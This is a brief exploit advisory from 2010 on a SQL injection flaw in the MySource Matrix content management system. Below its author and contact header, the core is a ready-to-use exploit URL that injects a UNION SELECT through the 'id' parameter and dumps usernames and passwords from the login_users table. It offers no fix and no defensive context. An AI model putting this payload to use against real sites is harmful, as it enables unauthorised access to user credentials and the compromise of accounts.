mysourcematrix-sql.txt
Posted on 03 November 2010
In The Name Of GOD [+] Exploit Title: MySource Matrix SQL Injection Vulnerability [+] Date: 2010-11-02 [+] Author : Cru3l.b0y [+] Software Link: http://www.intendance.com/client-services/developing-your-site/content-management/mysource-matrix/ [+] Tested on: Ubuntu 10.10 [+] Contact : Cru3l.b0y@gmail.com [+] Website : WwW.PenTesters.IR [+] Greeting: Behzad, Ahmad, ... +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [+] Exploit : http://target/path/index.php?id=-1+union+select+1,2,3,4,5,6,group_concat(username,0x3a,password),8,9,10,11,12,13,14+from+login_users
